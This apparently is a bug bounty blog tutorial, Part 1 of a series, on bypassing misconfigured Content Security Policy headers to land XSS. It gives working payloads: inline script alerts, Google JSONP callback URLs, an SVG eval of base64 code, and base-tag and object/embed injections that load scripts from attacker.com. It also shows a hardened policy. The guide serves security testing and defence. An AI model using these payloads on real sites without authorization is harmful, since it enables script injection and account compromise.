Press enter or click to view image in full size
Why that “secure” header is probably full of holes, and how to find them for critical XSS vulnerabilities.
You’ve found the perfect XSS vector. You craft your payload, hit enter, and… nothing. Just an angry red message flashing in the console: “Refused to execute inline script because it violates the following Content Security Policy…”
Game over? Not even close.
For a bug hunter, this is where things get interesting. That error message isn’t a wall — it’s practically an invitation. A Content Security Policy is just a set of rules the browser follows. And rules? They always have loopholes.
Here’s what usually happens: developers slap on a basic CSP, check the box on their security audit, and sleep easy thinking they’ve killed XSS for good. Meanwhile, most CSPs I see in the wild are about as secure as a screen door on a submarine.
This is Part 1 of a comprehensive series on CSP bypasses. We’re starting with the fundamentals — the common misconfigurations and basic techniques that work on 70–80% of the CSPs you’ll encounter in bug bounty programs. These are the low-hanging fruit that still pay out big bounties because so many developers get them wrong.
By the end of this guide, you’ll know exactly how to spot weak CSP configurations and turn them into working exploits.
Think of CSP as a bouncer at a nightclub. Their job is to check IDs — making sure only approved scripts, images, and stylesheets get in. Sounds great in theory. The problem? Most websites give their bouncer the world’s worst guest list.
Here are the misconfigurations that basically tell the bouncer to wave everyone through.
This is the nuclear option of CSP mistakes. If you see 'unsafe-inline'
in a script-src
directive, just pack it up—you've already won. It directly permits inline <script>
blocks and event handlers like onclick
. Basically, it turns off the main thing CSP is supposed to do.
Weak Policy:
Content-Security-Policy: script-src 'self' 'unsafe-inline';
Bypass:
<script>alert('CSP Bypass')</script>
Yeah, it’s that simple.
Real-World Impact: I’ve found this misconfiguration on everything from small SaaS apps to major e-commerce platforms. It usually happens when developers need to make inline scripts work quickly and take the path of least resistance. One report I filed for this exact issue paid out $2,500 — for what was essentially a 30-second check.
Policies that trust entire domains are everywhere. You’ll see things like script-src: *.google.com
or *.cloudflare.com
. The thinking goes: "It's Google, right? What could possibly go wrong?"
Turns out, a lot. This opens the door to scripts from any subdomain of Google, which creates openings like:
.js
files, you're golden.Quick Win Example:
Policy: script-src 'self' *.google.com
Bypass: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
This works because Google’s OAuth endpoint has a JSONP callback parameter that reflects your input. We’ll dive much deeper into JSONP exploitation in Part 2.
Press enter or click to view image in full size
This one’s sneakier. 'unsafe-eval'
allows functions like eval()
, setTimeout()
, and setInterval()
to run with string arguments. A lot of older libraries need this to work, so devs include it for compatibility. And just like that, you've got another way in.
Example:
Policy: script-src 'self' 'unsafe-eval'
Bypass: <svg><animate onbegin=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>
The base64 string decodes to alert(document.domain)
. If you can inject HTML and the policy has unsafe-eval
, you can execute code.
When I hit a CSP, I don’t give up — I get systematic. Here’s exactly what I do every single time.
Sounds obvious, but most people skip this. When you see that CSP error, pop open your browser’s dev tools. Go to the Network tab, click on the document request, and find the Content-Security-Policy
header. Copy the whole thing into a text editor.
Now look at each directive. What’s allowed for script-src
, object-src
, and base-uri
? These are your main attack vectors.
Pro tip: Use a tool like CSP Evaluator by Google to quickly identify obvious issues. But don’t stop there — manual analysis is where you find the interesting bypasses.
Press enter or click to view image in full size
Your primary focus should be the script-src
directive. Every domain listed there is a potential goldmine. Your job isn't to beat the CSP directly—it's to make one of those trusted domains serve your malicious JavaScript.
Say you find script-src: 'self' cdn.trusted-company.com
. Your next move? Shift your attack to cdn.trusted-company.com
. Look for:
My Hunting Process:
/api/
, /jsonp
, /callback
)Press enter or click to view image in full size
This is classic and highly effective. If the app lets you upload files that get served from a whitelisted domain (like an S3 bucket or CDN), the CSP will trust it.
The Process:
.js
file with your payloadscript-src
<script src="https://whitelisted-domain.com/uploads/your-file.js"></script>
Real Example: I once found an app with script-src: 'self' cdn.example.com
. The CDN was actually their S3 bucket where user avatars were stored. I uploaded a JavaScript file disguised as an image, got the direct S3 URL, and loaded it as a script. Boom—$3,000 bounty.
One of my personal favorites because it’s so often overlooked. If the CSP is missing a base-uri
directive, you can inject a <base>
tag to redefine the base URL for all relative paths on the page.
If the page loads a script like this:
<script src="/js/app.js"></script>
You can inject:
<base href="https://attacker.com/">
Now the browser tries to load https://attacker.com/js/app.js
instead, completely bypassing script-src
.
How to Test:
base-uri
is present in the CSP<base href="https://your-server.com/">
Press enter or click to view image in full size
If object-src
isn't defined, you can embed objects that load external content. This is less common now with Flash being dead, but it still works in some contexts.
Bypass example:
<object data="https://attacker.com/malicious.swf"></object>
Or for PDF-based XSS:
<embed src="https://attacker.com/xss.pdf">
When you find a whitelisted domain, these are the first endpoints I check for JSONP callbacks:
Google domains:
https://accounts.google.com/o/oauth2/revoke?callback=alert
https://www.google.com/complete/search?client=chrome&q=a&jsonp=alert
Other common CDNs:
https://cdnjs.cloudflare.com/ajax/libs/[library]/[version]/[file].js
https://ajax.googleapis.com/ajax/libs/angularjs/[version]/angular.js
Testing process:
callback=
, jsonp=
, cb=
, function=
We’ll cover JSONP exploitation in much more detail in Part 2, including how to find hidden JSONP endpoints and chain them with other vulnerabilities.
Press enter or click to view image in full size
After all this talk about breaking things, let’s talk about building them right. A good CSP locks everything down by default and only opens what’s absolutely necessary.
Weak CSP (easily bypassed):
Content-Security-Policy: script-src 'self' *.google.com 'unsafe-inline';
Strong CSP (much harder to bypass):
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'self'; require-trusted-types-for 'script';
Why is the second one so much better?
default-src 'none'
denies everything by default'unsafe-inline'
'strict-dynamic'
lets trusted scripts load other scripts without whitelisting domainsobject-src 'none'
blocks object/embed attacksbase-uri 'self'
prevents base tag hijackingrequire-trusted-types-for 'script'
enables Trusted Types (we'll cover this in Part 3)Note: Even “strong” CSPs can be bypassed through advanced techniques like nonce leaking, DOM clobbering, and mutation XSS — but those are topics for Parts 2 and 3.
A CSP header doesn’t mean “no XSS.” It means “XSS with extra steps.”
Next time you’re testing an app and the console throws a CSP error, don’t close the tab. Get curious. Read the policy line by line. Check for the misconfigurations we covered here. More often than not, you’ll find a way through.
This is just the beginning. In Part 1, we’ve covered the fundamentals — the common mistakes that make up the majority of bypasses you’ll find in the wild.
Coming up in Part 2: We’ll dive into intermediate techniques that work against stricter policies:
And in Part 3: We’ll get into research-level techniques:
Until then, happy hunting. That CSP error is just the start of something interesting.